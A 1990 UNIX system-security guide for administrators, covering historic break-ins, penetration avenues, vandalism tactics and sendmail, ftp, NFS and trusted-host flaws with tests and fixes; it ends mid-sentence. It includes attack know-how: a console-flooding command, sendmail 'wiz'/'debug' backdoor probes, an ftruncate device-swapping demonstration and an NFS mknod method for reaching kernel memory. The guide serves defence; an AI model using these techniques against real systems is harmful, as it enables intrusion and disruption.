12328 lines
486 KiB
Plaintext
12328 lines
486 KiB
Plaintext
|
||
|
||
Security and the
|
||
UNIX Operating System
|
||
|
||
By: XXXXXXXXXXXXXXXX
|
||
XXXXXXXXXXXXXXXXXX
|
||
|
||
June 1990
|
||
|
||
|
||
This document has been authored and researched by XXXXXXXXXXXX under contract
|
||
to the XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX, Pentagon,
|
||
Washington DC 20330-6345.
|
||
|
||
|
||
Acknowledgements
|
||
****************
|
||
It is desirable to acknowledge the various contributors to this
|
||
document. This is not easy, given that some of the most fruitful
|
||
contributors have been penetrators who wish to keep their identities to
|
||
themselves. Therefore, in respect to their wishes, I would like to just
|
||
say "thanks to the guys" -- you know who you are. For those who have
|
||
no desire to remain anonymous, my thanks go to:
|
||
|
||
* Captain Thomas Walker, USAF 7CG LGNC
|
||
* USAF 7CG DS, The Pentagon
|
||
* Matt Bishop, Dartmouth College
|
||
* John S. Caywood, Unisys
|
||
* David A. Curry, SRI International
|
||
* Dan Farmer, CERT, Carnegie-Mellon University
|
||
* Dr. Daniel E. Geer Jr., Massachusetts Institute of Technology
|
||
* Jim Haynes, University of California Santa Cruz
|
||
* Dr. Marshall Kirk McKusick, University of California Berkeley
|
||
* Pat Wood, Pipeline and Associates
|
||
* The rest of the folks here at the Pentagon that have tolerated me over
|
||
the last few months
|
||
|
||
|
||
Introduction
|
||
************
|
||
|
||
"UNIX was not developed with security, in any realistic sense,
|
||
in mind; this fact alone guarantees a vast number of holes."
|
||
-- Dennis Ritchie
|
||
|
||
This document provides an introduction to several aspects of UNIX system
|
||
security. Most of the information is based on 4.x BSD UNIX and its
|
||
derivatives. It may or may not directly apply to HQ USAF-LAN hosts or
|
||
other flavors of the UNIX operating system. Some of the topics being
|
||
discussed include:
|
||
|
||
* The history of the UNIX security
|
||
* Famous security breeches
|
||
* Theoretical avenues for penetration
|
||
* General principles on system security
|
||
* Countermeasures
|
||
|
||
|
||
History
|
||
=======
|
||
UNIX was developed in the late 1960's at Bell Laboratories. It evolved
|
||
in an open environment where programmers were encouraged to share information
|
||
and ideas. Computer security was a matter of trust. This does not mean
|
||
that UNIX is completely void of security mechanisms. Several reasonable
|
||
security features are a part of the normal UNIX distribution; however,
|
||
most vendors distribute the operating system with defaults set in an
|
||
insecure mode. Historically, there was little need or desire for system
|
||
security as we know it now.
|
||
|
||
Today, UNIX is used by a large user community that includes groups,
|
||
unlike programmers, that are more concerned with protecting information
|
||
rather than sharing it. As the number of UNIX systems increase and
|
||
networks become common place, the issue of security is becoming
|
||
increasingly important. More systems, users, and better network
|
||
connectivity has drastically increased the potential number of
|
||
penetrators.
|
||
|
||
|
||
The Internet Worm
|
||
=================
|
||
On Wednesday evening, November 2, 1988, Cornell graduate student Robert T.
|
||
Morris, Jr. released his worm into the internet. The worm was intended
|
||
to spread itself quietly throughout the network by guessing passwords
|
||
and exploiting bugs in electronic mail and other networking utilities
|
||
[Haye90]. Although only two types of hardware (Sun-3 and Vax systems)
|
||
were targeted by the worm's code, it quickly infected, reinfected, and
|
||
crippled many machines. The worm did not destroy any files, steal
|
||
information, or embed other destructive software; however, it virtually
|
||
caused the internet to shutdown for two days.
|
||
|
||
Due to the wide use of the Internet by university, research, and
|
||
military computers, the worm infected sites containing classified and
|
||
sensitive data causing widespread concern. Staffers at the Ballistic
|
||
Research Laboratory initially assumed that the worm was an attack on
|
||
its systems by foreign intelligence agents. Michael Muuss, who leads
|
||
the Aberdeen computer systems team, later testified: "We have a history
|
||
of foreign intelligence activity on our systems ..." [Haye90]. In
|
||
all, as many as 3000 computers were temporarily disabled. The `New
|
||
York Times' reported that at Carnegie-Mellon University 80% of the
|
||
computers were affected; at the University of Wisconsin 66% of the
|
||
systems were hit. Though no data was destroyed, one industry association
|
||
estimated total damage in lost work at nearly $100 million. More
|
||
realistic estimates place the cost as high as $10 million [Haye90].
|
||
|
||
The worm taught us many important lessons. It caused us to think about
|
||
the ethics concerning access to computers as well as a forum to test and
|
||
evaluate the current laws. As a result, in January 1990, a United
|
||
States District Court found Robert T. Morris, Jr. guilty of charges brought
|
||
against him under a 1986 federal computer fraud and abuse law. Morris
|
||
was sentenced in Syracuse Friday May 4, 1990 by Federal Judge Howard
|
||
Munson to a $10,000 fine, three years of probation, and 400 hours of
|
||
community service.
|
||
|
||
|
||
The Cuckoo's Egg
|
||
================
|
||
The mystery began August 1986 when Clifford Stoll, a systems manager at
|
||
the Lawrence Berkeley Laboratory (LBL) in Berkeley, California, learned
|
||
of an unexplained 75-cent charge for computer time. Someone was surely
|
||
up to no good -- perhaps even invading America's military networks
|
||
[Elli90]. He tracked the error down to a user, Hunter, which had no
|
||
billing address. The fun ensued when Stoll reported his findings and
|
||
discovered that no one called Hunter had an account at LBL. After
|
||
receiving a complaint from National Computer Security Center (NCSC) in
|
||
Maryland, it was determined that an old account had been compromised and
|
||
was being used to attack other network hosts. Taking this breach of
|
||
security personally, Stoll requested that his superiors allow him to
|
||
"nail the bastard" [Stoll89] himself. They gave him three weeks.
|
||
|
||
Stoll dropped all pretense of working at his real job and gave full
|
||
attention to the intruder [Elli90]. A whole day was spent connecting a
|
||
series of 50 printers and monitors, one for each of the incoming telephone
|
||
lines. Now, if the intruder called back, Stoll would have every
|
||
character typed. The next morning one of the printers ejected over 80
|
||
feet of paper recording every command from the intruder's keyboard and
|
||
every response from the LBL machine. It quickly showed that someone had
|
||
exploited a flaw in system software and held super-user access for three
|
||
hours.
|
||
|
||
After a year of tracking the intruder across several networks
|
||
(eventually involving FBI, CIA, NSA, Air Force Intelligence, and
|
||
authorities in West Germany), five men in Hannover, West Germany were
|
||
arrested [Curr90]. On February 15, 1990, after a lengthy trial, the
|
||
"crackers" were found guilty as charged and sentenced: Peter Carl to two
|
||
years, Dirk Brzezinski to one year and two months, and Markus Hess to
|
||
one year and eight months. However, they were each given three years
|
||
probabation and freed, the sentence to be carried out only if they
|
||
engage in criminal behavior during that period.
|
||
|
||
|
||
Other Break-Ins
|
||
===============
|
||
Many other systems have been compromised in the recent years, with
|
||
varying levels of publicity. Break-ins have occurred on:
|
||
|
||
* NASA SPAN Network
|
||
* A worm that penetrated DECNET networks
|
||
* Several U.S. banking networks
|
||
* Several Pentagon computers
|
||
* Three known "spin-offs" of Robert Morris' worm
|
||
* Scores of Personal Computer viruses
|
||
|
||
|
||
Importance of System Security
|
||
=============================
|
||
Security is becoming an increasingly important topic. Hosts from
|
||
supercomputers to personal computers are being attacked on almost a
|
||
daily basis. Although there is absolutely no way to make a computer
|
||
impregnable, this document will hopefully make your system secure from
|
||
the "hacker-wanna-be". It will discuss both the security features
|
||
and holes contained within the UNIX operating system, how to find them,
|
||
and most importantly, how to fix them.
|
||
|
||
|
||
|
||
Theory
|
||
******
|
||
|
||
"My confession ... "
|
||
-- Bart Simpson
|
||
|
||
|
||
General Principles
|
||
==================
|
||
|
||
1. It may be useful to classify intruders by motive: vandalism,
|
||
penetration of ordinary accounts, penetration of the super user
|
||
account, avoidance of charges or quotas, etc. Some intruders are
|
||
motivated by a desire to take over the system and brag about it,
|
||
so it is almost immediately known when a penetration has taken
|
||
place. Others are more subtle and keep their penetration secret.
|
||
Detecting these requires luck and periodic scanning of the system
|
||
of oddities. A particularly difficult problem is how to detect
|
||
when a security violation has taken place, short of stumbling
|
||
across tracks mistakenly left behind by the violator.
|
||
|
||
2. As is frequently mentioned, UNIX security seems to suffer because
|
||
the system was designed for use within a friendly community. As
|
||
the assumptions change about the hostility of the UNIX environment,
|
||
the default settings, including the kernel configuration, will have
|
||
to change. A limited operating system that doesn't allow the users
|
||
to do much is easier to secure than is UNIX with its many doors and
|
||
windows. One school of philosophy holds that one should do
|
||
everything possible to avoid any kernel changes. This may be a
|
||
good idea if portability is an issue; but, in general, it is
|
||
necessary to make security changes to the kernel and to give up
|
||
some possibly useful, but less secure features. In a friendly
|
||
environment, the system administrator may have a philosophy of
|
||
securing only what is absolutely necessary. In the hostile
|
||
environment, the administrator should do the opposite, giving
|
||
users only those privileges they absolutely must have.
|
||
|
||
3. The most important thing to remember is that a prepared penetrator
|
||
needs super user privileges for only a few seconds to install trap
|
||
doors that will thereafter allow him to become super user at will.
|
||
These can be very difficult and time-consuming to locate.
|
||
|
||
4. For serious security, the very existence of a super user is a
|
||
problem. It is necessary, for instance, to guard against the
|
||
installation of trap doors by sometime-legitimate super users.
|
||
This seems to require that a copy of all the system source be kept
|
||
offline for periodic comparison with online source from which
|
||
object is recompiled from time to time and compared with the
|
||
regular resident object. Then there is a need for a procedure to
|
||
update the offline source when authorized changes have been made.
|
||
It would probably be a good idea to keep an unchanged offline
|
||
source too, as a way of determining the total state of changes to
|
||
the current source code. SCCS or RCS can be used to control
|
||
changes to the source, but neither is really designed to protect
|
||
against persons who are devious.
|
||
|
||
5. In general the intruder can cover his own tracks. Detecting
|
||
intrusion therefore depends on the intruder neglecting to do so,
|
||
plus the installation of log-keeping. The existence of
|
||
log-keeping should be somewhat secret to increase the probability
|
||
that the intruder will unwittingly reveal his acts and methods.
|
||
The best log-keeping consists of writing to a hardcopy device so
|
||
that the intruder cannot erase the log. Sometimes a single
|
||
slip-up by an intruder will reveal a huge case of previously
|
||
unsuspected penetration.
|
||
|
||
6. Security must reside in explicit security mechanisms and not in
|
||
program logic nor in keeping documentation secret from users.
|
||
Program logic fails because users can always write a version of
|
||
the program that doesn't include the security logic. Program
|
||
logic is of course necessary in those programs which must run
|
||
with privileges; but, here the protection depends on the
|
||
inability of an ordinary user to establish or modify such
|
||
programs. And, of course, it is desirable to keep the system
|
||
program source from users, since having the source makes
|
||
penetration that much easier. Still we must assume that the
|
||
intruder has all the source he wants, since he is clever enough
|
||
to have written it himself, and in any case may have obtained
|
||
access to it from a previous penetration or from some other site.
|
||
|
||
7. A significant local problem may be pressure from users to install
|
||
imported software, some of which requires super user privileges.
|
||
Ideally such things would be installed only by a software support
|
||
analyst and only after a local security analysis or at least
|
||
after accurately determining exactly what privileges are needed
|
||
and why.
|
||
|
||
8. Also the documentation of UNIX programs is generally inadequate;
|
||
rarely do we know how a program should be properly installed to
|
||
have just the privileges it needs. In actual cases, the experts
|
||
often disagree as to the best scheme for protecting a complex set
|
||
of programs.
|
||
|
||
9. There are lots of potential penetrators out there. A super user
|
||
mistake such as setting a protection code incorrectly can be
|
||
noticed and exploited by somebody, even if it lasts for only a
|
||
short time.
|
||
|
||
10. Consider threats from both within and without. In the
|
||
educational environment most intrusions will come via authorized
|
||
accounts on the system. Intruders can easily get login names and
|
||
passwords either legitimately, by borrowing them from some other
|
||
authorized user, or by guessing passwords. The threat, then, is
|
||
what a user can do after he is logged on to the system. In the
|
||
commercial/government environment, it may be relatively more
|
||
important to defend against intruders who do not know a login
|
||
name and password. Within the research environment, the attack
|
||
can come from both ends.
|
||
|
||
11. Complexity in programs and systems is almost always ill-advised.
|
||
Complex programs are more likely to have unintended penetration
|
||
aids than simple programs. The intruders to worry about the most
|
||
are those who are more clever and devious than the official
|
||
system maintainers. They certainly exist.
|
||
|
||
12. UNIX as shipped usually has default protection modes which allow
|
||
users to read other users' files, harass other users, copy system
|
||
binary programs, etc. By default the mode should be for privacy,
|
||
so that naive users are protected from the outset. If vendors
|
||
would ship systems set up so that they are secure out of the box,
|
||
many of the intial problems would vanish.
|
||
|
||
|
||
Avenues for penetration
|
||
=======================
|
||
1. If one can remove or disable checks for super user in the kernel so that
|
||
it will perform for all users or for some specific user operations that
|
||
should be reserved to the super user. Discover a mistake in the kernel
|
||
source code that allows penetration.
|
||
|
||
2. A clever programmer could install additional system call entries into
|
||
the kernel that perform super user functions for an ordinary user.
|
||
|
||
3. If the operating system copy on disk is ever writable by an ordinary
|
||
user, a very clever and careful intruder might patch it to disable
|
||
protection. He might have his own version of the operating system and
|
||
install it in place of the official one. The same is, of course, true
|
||
of any program which runs privileged.
|
||
|
||
4. If `/dev/kmem' is ever writable by an ordinary user an intruder
|
||
might patch his own user identification to be that of the super user or
|
||
patch code to disable protection.
|
||
|
||
5. If an ordinary user has read permission for a disk special file, he can
|
||
read any file in that file system. If he has write permission for a
|
||
disk special file, he can do anything. Note that the user-accessible
|
||
disk special file inode might be located anywhere, since there can be
|
||
any number of special file inodes referencing the same device.
|
||
|
||
6. If an ordinary user can write `/etc/passwd' he can enter a bogus
|
||
account with super user uid (or any other). In some systems, a damaged
|
||
or missing `/etc/passwd' file lets anybody log in as super user.
|
||
|
||
7. Suppose an ordinary user has a program which contains code to change the
|
||
owner of a file to the super user and turn on the set-uid bit. If the
|
||
user can induce a super user to run that program, the code will be
|
||
executed leaving the user with a set-uid root program of his choice. A
|
||
subtle way to do this is to install the necessary code into a file that
|
||
a super user might execute unawares, such as a `.cshrc' file, or a
|
||
program that needs no privileges ordinarily and is frequently run by the
|
||
super user. Note, in this connection, that the intruder doesn't always
|
||
have to become super user to install a trap door. If a program is owned
|
||
by bin and is writable by bin, then a user who can become bin can
|
||
replace that program and wait for a super user to run it, at which time
|
||
it installs a trap door as a side effect. Aside from super user, ploys
|
||
like these can get a user the ability to penetrate any ordinary user's
|
||
account. I have heard of a trap door installed by a more devious chain
|
||
of events; the program run by the super user does not directly create
|
||
the trap door, but modifies some other program which later (i.e. at boot
|
||
time) installs the trap door.
|
||
|
||
8. Then there are the obvious physical things, such as a user looking over
|
||
a super user's shoulder while the latter is typing the password, or a
|
||
user getting access to the terminal when a super user is called away to
|
||
the telephone and fails to log out, etc. Also, anyone who can get into
|
||
the machine room can shut down the system (by just halting the machine)
|
||
and then reboot it; it will be in super-user state when it comes up. Or
|
||
the intruder might happen to be in the machine room at the time of a
|
||
power failure or crash and take advantage of the opportunity.
|
||
|
||
9. Prepare a tape containing a privileged program. Induce a super user to
|
||
load the tape into the intruder's account. The `tar' command doesn't
|
||
let an ordinary user load a setuid program not owned by that user, but
|
||
it will let a super-user load such a program.
|
||
|
||
10. Pick away at all privileged programs runnable by ordinary users, looking
|
||
for holes in program logic that will allow a program to be used for
|
||
intrusion. Example: interrupt such a program and see what it does, or
|
||
supply extra arguments, or leave arguments out, or supply illegitimate
|
||
arguments, or send signals.
|
||
|
||
11. Install a program in a directory where it will be found in the search
|
||
path ahead of the usual program. Have it do some side effect and then
|
||
transfer to the normal program or bomb out with some plausible message.
|
||
|
||
12. Rather than modifying program source code, an intruder might modify a
|
||
library subroutine. Then inspection of program source is unlikely to
|
||
reveal the change; and, every program compiled using the subroutine will
|
||
include the offending code.
|
||
|
||
13. Password guessing tends to be easy. Run a program that guesses the
|
||
login name, the login name spelled backwards, common words and names,
|
||
local jargon, or items taken from the GECOS field of the password file.
|
||
By 1988, the technology for guessing passwords by trial seems to have
|
||
improved greatly. A password guessing program using the dictionary
|
||
(`/usr/dict/words') will in a few hours typically turn up dozens of
|
||
passwords.
|
||
|
||
14. The classical Trojan horse: user writes a program, such as a game, and
|
||
invites everyone to run it. A hidden side effect of the program is to
|
||
create a program setuid to the person running the game and located in a
|
||
directory known to the owner of the game. The program typically is one
|
||
that forks a shell. So the owner of the game gets the ability to assume
|
||
the identities of all the people who play the game.
|
||
|
||
15. There are lots of potential problems with carelessly written setuid
|
||
programs. `execl()' and `popen()' calls may not execute the intended
|
||
program unless the full pathname is specified.
|
||
|
||
|
||
Vandalism
|
||
=========
|
||
A vandal, trickster, or enthusiastic user could:
|
||
|
||
1. Use up all free disk space on a logical drive or use up all inodes.
|
||
|
||
2. Send annoying messages to users at their terminals.
|
||
I.e. `cat /usr/dict/words > /dev/console'
|
||
|
||
3. Put on spurious message of the day, replies to gripes, news, etc.
|
||
Corrupt manuals with incorrect information. Replace programs with phony
|
||
ones.
|
||
|
||
4. Lock terminals. This is especially annoying with a port finder because
|
||
eventually the locked terminal gets disconnected, so the next user to be
|
||
connected gets an unusable terminal.
|
||
|
||
5. Destroy files or directories, or change their protection codes so that
|
||
users can't get to them.
|
||
|
||
6. Fill the system with unproductive processes. Particularly annoying is
|
||
the process which keeps spawning new processes and killing old ones so
|
||
that it is hard to kill the culprit.
|
||
|
||
7. Changing modes of other users' terminals. In particular, setting speed
|
||
to zero, which logs the user out.
|
||
|
||
8. Change the system date/time. Plays havoc with `make' files,
|
||
`cron', and `at'.
|
||
|
||
|
||
|
||
Network Security
|
||
****************
|
||
|
||
"Returned Mail: "
|
||
-- <postmaster>
|
||
|
||
Networking introduces a lot of new security problems, especially if it
|
||
contains single-user workstations. As so often happens, vendors and
|
||
developers are quick to offer features and functions and worry about
|
||
security later. This section discusses many issues associated with
|
||
networking.
|
||
|
||
|
||
Network Sniffing
|
||
================
|
||
|
||
- Problem
|
||
Ethernet hardware allows one to listen to broadcast packets, packets
|
||
destined for one's own station, and usually all packets. Thus a
|
||
workstation with Ethernet hardware and software is frequently usable as
|
||
an "Ethernet monitor". The potential for a mischievous user to
|
||
intercept passwords and confidential data is obvious.
|
||
|
||
+ Solution
|
||
There is no solution to this problem until manufacturers build Ethernet
|
||
controllers that cannot monitor all traffic. What we can do that is of
|
||
some use is to put workstations on different cables from those
|
||
connecting multi-user machines; and keep different classes of
|
||
workstations (e.g. administrative) on different cables. The various
|
||
cables are to be connected via gateways, not bridges.
|
||
|
||
- Problem
|
||
Broadband local area networks are worse yet, because everything that is
|
||
sent on the cable is broadcast over the entire network. It is not at
|
||
all unthinkable that some user could build or modify a modem to monitor
|
||
network channels other than the one to which he is authorized access.
|
||
|
||
+ Solution
|
||
A partial solution to this problem is to keep the RF cable and modems
|
||
locked up in cable closets and run only data signals to the users'
|
||
stations. This is not possible if the users need access to the RF
|
||
cable, as for Television.
|
||
|
||
|
||
Electronic Mail
|
||
===============
|
||
A few years ago, electronic mail (e-mail) was a new thing that was
|
||
mostly used by computer nerds. Today, if mail is broken on our
|
||
machines, the secretaries are the first to complain; almost all
|
||
departmental communication is done by e-mail rather than by telephone,
|
||
memos, or discussions [Neme89]. Unfortunately, electronic mail provides
|
||
another cavern for intruders to go spelunking. A couple of flaws were
|
||
discovered in recent versions of sendmail, which is a complex
|
||
transport agent interfacing mail programs such as `/bin/mailx' and
|
||
mail delivery agents like `/usr/lib/uucp/uux'.
|
||
|
||
- Problem
|
||
There is/was an undocumented feature in `sendmail' which would
|
||
allow users at remote sites to obtain a privileged shell.
|
||
|
||
* Test
|
||
|
||
$ telnet your hostname 25
|
||
Trying 123.123.123.123 ...
|
||
Connected to Podunk.Edu.
|
||
Escape character is '^]'.
|
||
220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est
|
||
wiz
|
||
200 Please pass, oh mighty wizard
|
||
quit
|
||
|
||
If you get positive feedback such as the example above, you have a major
|
||
security hole and should repair it immediately.
|
||
|
||
+ Solution
|
||
Obtain and/or compile a version of `sendmail' which is equivalent to
|
||
the latest Berkeley Sendmail version (Currently 5.65).
|
||
|
||
- Problem
|
||
The bug exploited by the internet worm used the debug option on the
|
||
SMTP (Simple Mail Transfer Protocol) server. This allowed a user to
|
||
execute a program on a remote machine.
|
||
|
||
* Test
|
||
|
||
$ telnet your hostname 25
|
||
Trying 123.123.123.123 ...
|
||
Connected to Podunk.Edu.
|
||
Escape character is '^]'.
|
||
220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est
|
||
debug
|
||
200 Debug set
|
||
quit
|
||
|
||
If you get positive feedback such as the example above, you may have a
|
||
major security hole and should repair it immediately.
|
||
|
||
+ Solutions
|
||
Obtain and/or compile a version of `sendmail' which is equivalent to
|
||
the latest Berkeley Sendmail version (Currently 5.65).
|
||
|
||
An alternate solution is to use your systems general purpose debugger and
|
||
actually alter the executable. SAVE A COPY OF IT FIRST, IN CASE YOU MESS
|
||
UP! This is mildly tricky -- note, some versions of `strings' which we're
|
||
going to use to find the offset of the string "debug" in the binary print
|
||
out the offsets in octal, not decimal. Run the following shell line to
|
||
decide how your version of `strings' works:
|
||
|
||
$ /bin/echo 'abcd' | /usr/ucb/strings -o
|
||
|
||
Note, make sure the eight control 'G's are preserved in this line. If
|
||
this command results in something like:
|
||
|
||
0000008 abcd
|
||
|
||
your `strings' command prints out locations in decimal, otherwise it's
|
||
octal. The patch script for `sendmail'. NOTE, YOUR OFFSETS MAY VARY!!
|
||
This script assumes that your `strings' command prints out the offsets
|
||
in decimal.
|
||
|
||
$ strings -o -a /usr/lib/sendmail | egrep debug
|
||
0096972 debug
|
||
$ adb -w /usr/lib/sendmail
|
||
?m 0 0xffffffff 0
|
||
0t10$d
|
||
radix=10 base ten
|
||
96972?s
|
||
96972:debug
|
||
96972?w 0
|
||
96972:25701=0
|
||
|
||
If your `strings' command prints out the offsets in octal, change
|
||
the line "0t10$d" to "0t8$d".
|
||
|
||
- Problem
|
||
Remote users are able to write to any non-root owned files in the
|
||
system. Target files for such an attack are users `.rhosts' and
|
||
other files which could eventually give way to easy access to the host.
|
||
|
||
* Test
|
||
There is no simple test to perform that will adequately show if your
|
||
system has this flaw without showing exactly how to exploit the hole.
|
||
Therefore, you should contact your local security guru.
|
||
|
||
+ Solution
|
||
Obtain and/or compile a version of `sendmail' which is equivalent to
|
||
the latest Berkeley Sendmail version (Currently 5.65).
|
||
|
||
- Problem
|
||
Some systems have a default alias called "decode". This alias is used
|
||
to allow users to mail `uuencoded' documents to "decode" for
|
||
decoding. It also provided administrators an example of how to set up
|
||
an alias which gives the mail to a program instead of a real person.
|
||
|
||
* Test
|
||
|
||
$ grep 'decode' your alias file
|
||
decode: "| uudecode"
|
||
|
||
+ Solution
|
||
Remove the "decode" alias from the aliases file (`/usr/lib/aliases'
|
||
or `/etc/aliases') and rebuild your aliases database (if required).
|
||
Refer to your System Administration manual.
|
||
|
||
|
||
File Transfer Protocol
|
||
======================
|
||
|
||
`Ftp' is the user interface to the ARPANET File Transfer Protocol. It is
|
||
used to transfer files from one internet site to another. There are some
|
||
security issues that need to be resolved when allowing `ftp' access to your
|
||
host.
|
||
|
||
- Problem
|
||
Reportedly, `ftpd' was allowing users to read and write files with root
|
||
privileges. It involves the use of the 'user' command. A password was
|
||
demanded but despite giving an incorrect password and seemingly being
|
||
refused access, root privileges were obtained. This bug, however, does
|
||
assume that the intruder does have access to your computer either through a
|
||
normal account or your host supports anonymous `ftp'.
|
||
|
||
* Test
|
||
|
||
There is no simple test to perform that will adequately show if your system
|
||
has this flaw without showing exactly how to exploit the hole. Therefore,
|
||
you should contact your local security guru. If your version of `ftpd' was
|
||
obtained before December 1988, you probably have this problem.
|
||
|
||
+ Solution
|
||
Obtain the latest release of the `ftpd' program and install it.
|
||
|
||
- Problem
|
||
Another problem with older versions of `ftpd' is its implementation of the
|
||
anonymous `ftp' facility. The daemon fails to do a `chroot()' call;
|
||
therefore, it allows unknown users to read all world readable files. These
|
||
files could include `/etc/passwd' which will open up more holes in your
|
||
security.
|
||
|
||
* Test
|
||
|
||
$ ftp your hostname
|
||
Connected to Podunk.Edu.
|
||
220 Podunk.Edu FTP server (Version 2 Thu Mar 15 16:06:24 EST 1990) ready.
|
||
Name (Podunk.Edu:(joeuser)): anonymous
|
||
Password (Podunk.Edu:anonymous): type your name here
|
||
331 Guest login ok, send ident as password.
|
||
230 Guest login ok, access restrictions apply.
|
||
ftp> cd /etc
|
||
250 CWD command successful.
|
||
ftp> ls -CF
|
||
200 PORT command successful.
|
||
150 Opening ASCII mode data connection for /bin/ls (0 bytes).
|
||
grouppasswd
|
||
226 Transfer complete.
|
||
14 bytes received in 0.19 seconds (0.069 Kbytes/s)
|
||
ftp> bye
|
||
221 Goodbye.
|
||
|
||
If only the two files shown above exist, your anonymous `ftp'
|
||
configuration is probably safe. If in doubt, get the latest version.
|
||
|
||
+ Solution
|
||
Obtain the latest version of `ftpd'.
|
||
|
||
- Problem
|
||
The Trivial File Transfer Protocol, TFTP, is used on Sun workstations (and
|
||
others) to allow diskless hosts to boot from the network. Basically, TFTP
|
||
is a stripped-down version of FTP -- there is no user authentication
|
||
[Curr90]. Because of the password cracking problem, it is important that
|
||
sites on networks not allow `tftp' access to just any file, and not have
|
||
the `/etc/passwd' file accessible via anonymous `ftp'.
|
||
|
||
* Test
|
||
|
||
$ tftp your hostname
|
||
tftp> get /etc/motd
|
||
Error code 1: File not found
|
||
tftp> quit
|
||
|
||
If your version does not respond with `File not found' and instead
|
||
transfers the file, you should fix or replace your current version of
|
||
`tftpd'.
|
||
|
||
+ Solution
|
||
Most sites can do without `tftp' altogether; where it is needed the tftp
|
||
daemon should do a `chroot()' call to a restricted directory.
|
||
|
||
|
||
Network File System
|
||
===================
|
||
The Network File System (NFS) is designed to allow several hosts to
|
||
share files over the network. One of the most common uses of NFS is to
|
||
allow diskless workstations to be installed in offices while keeping
|
||
all disk storage in a central location [Curr90].
|
||
|
||
- Problem
|
||
NFS is not normally distributed with any of it's security features
|
||
enabled. This simply means that any host on the Internet or LAN may
|
||
access your files via NFS, regardless whether you consider them trusted
|
||
hosts or not.
|
||
|
||
+ Solution
|
||
Fortunately, NFS can be made secure by correctly configuring
|
||
`/etc/exports' or by using Sun Microsystems Secure NFS. Secure NFS
|
||
was introduced in SunOS 4.0 and uses a public-key encryption technique
|
||
to ensure authorized access.
|
||
|
||
- Problem
|
||
Over NFS, any device which you can open and write to can be truncated
|
||
into another one. That is it is possible to open, for example, the
|
||
device /dev/null and use the ftruncate(2) and change it's major and
|
||
minor numbers so that it becomes another device (like /dev/mem for
|
||
example). This creates major security problems because it allows any
|
||
non-privileged user access to and data stored on any device or even
|
||
write access to kernal memory.
|
||
|
||
The root of the problem if that the vnode ops do not distinguish
|
||
between open regular files and device types. Thus the system call may
|
||
be called on any arbitrary device. the new major and minor number for
|
||
the device are based on what is on the stack. That is that the device
|
||
characteristics of the vnode are modified instead of the block pointers
|
||
to the file are what gets zero'd.
|
||
|
||
Here is an example of turning dev null into another console device
|
||
[trunc is a C program that opens and calls ftruncate on it's first argument]
|
||
|
||
% ls -lg /dev/null /dev/console
|
||
crwxrwxrwx 1 root staff 3, 2 Sep 17 02:07 /dev/null
|
||
crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console
|
||
|
||
% trunc /dev/null 0
|
||
|
||
% ls -lg /dev/null /dev/console
|
||
crwxrwxrwx 1 root staff 0, 0 Sep 17 02:07 /dev/null
|
||
crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console
|
||
|
||
+ Solution
|
||
----------
|
||
NOTE: This has been fixed in SunOS 4.0.3 and SunOS 386i-4.0.2. The
|
||
Sun Bug Numbers are 1009825, and 1019206 respectively.
|
||
|
||
- Problem
|
||
In a nutshell, as root@client, One can mknod devices on a server's file
|
||
system if it's mounted r/w. I can easily find a world-writable directory
|
||
to put it in, because I can become any user/group who can write something
|
||
anywhere, even if "nobody" can't, and make this new directory
|
||
world-writable.
|
||
|
||
I choose major/minor numbers on the device so that they make sense on the
|
||
server, not the client, although it is on the client that I'm making it.
|
||
I then change the mode of the device 666 and go back over to the server
|
||
and wreak havoc. Two good candidates are /dev/mem or any disk device.
|
||
|
||
+ Solution
|
||
Export file systems read-only. This is obviously unacceptable in most
|
||
environments, so it is best if you contact your vendor for a fix.
|
||
|
||
A contact at Sun has unofficially reported the following:
|
||
|
||
This appears to be fixed in SunOS 4.1.1 (I don't know whether it
|
||
worked in previous releases or not). The mknod (as root in a writable
|
||
nfs mounted directory) fails with ``mknod: not owner.'' I assume that
|
||
the nfs mknod request requires the filesystem to be mounted with root
|
||
mapped to 0 for the request to work.
|
||
|
||
= Discussion
|
||
Sun Microsystems has included security features that allow the system to
|
||
operate at higher security levels. It was patterned after the National
|
||
Computer Security Center's C2 classification. These features are
|
||
optional at installation time and include:
|
||
|
||
* Audit trails
|
||
* Shadow password file
|
||
* Data Encryption Standard (DES) capability
|
||
* Secure NFS
|
||
|
||
|
||
Trusted Hosts
|
||
=============
|
||
The concept of a "trusted host" is one of the more convenient features of
|
||
the Berkeley UNIX networking software suite. This feature allows a host or
|
||
user to be announced as trusted. Those who are trusted are permitted to do
|
||
remote logins and remote commands without the requirement of a password.
|
||
This ability is both a security feature as well as a security hole.
|
||
|
||
|
||
hosts.equiv
|
||
-----------
|
||
|
||
- Problem
|
||
`Hosts.equiv' resides in directory `/etc' and contains a list of trusted
|
||
hosts. When an `rlogin' or `rsh' request from such a host is made, and the
|
||
initiator of the request is in `/etc/passwd', then no further validity
|
||
checking is done. That is, `rlogin' does not prompt for a password, and
|
||
`rsh' completes successfully. So a remote user is "equivalenced" to a
|
||
local user with the same user ID when the remote user is in `hosts.equiv'.
|
||
|
||
+ Solution
|
||
`Hosts.equiv' should be used with care. ONLY hosts that are secure and
|
||
trusted should be allowed to appear in this file. Nonlocal hosts should
|
||
never be trusted. Also, if there are any machines that are located in
|
||
non-secure areas, you should not trust these hosts.
|
||
|
||
- Problem
|
||
On Sun systems, `hosts.equiv' is controlled by the Network Information
|
||
Services (NIS), formerly known as Yellow Pages. As distributed, the
|
||
default `hosts.equiv' contains:
|
||
|
||
+
|
||
|
||
This tells the system that every known host should be considered a trusted
|
||
host. This is certainly incorrect and is a major security threat.
|
||
|
||
+ Solution
|
||
A correctly configured `hosts.equiv' should only contain specific host
|
||
names or carefully constructed netgroup. An example of a properly
|
||
configured `hosts.equiv':
|
||
|
||
ws1.cs.podunk.edu
|
||
ws2.cs.podunk.edu
|
||
|
||
- Problem
|
||
Under SCO UNIX, if you 'rlogin' to the system from a trusted host
|
||
(one in /etc/hosts.equiv), you can obtain root privileges without
|
||
a password if your home directory does not exist. It is suspected,
|
||
though not confirmed, that this is true for any reason the automatic
|
||
login is forced to fail.
|
||
|
||
Usually rlogind logs the user in directly to his home directory. But
|
||
if the home directory does not exist it will fail ("Cannot chdir to ..."),
|
||
and gives a "login:". However whatever is typed here, including root, will
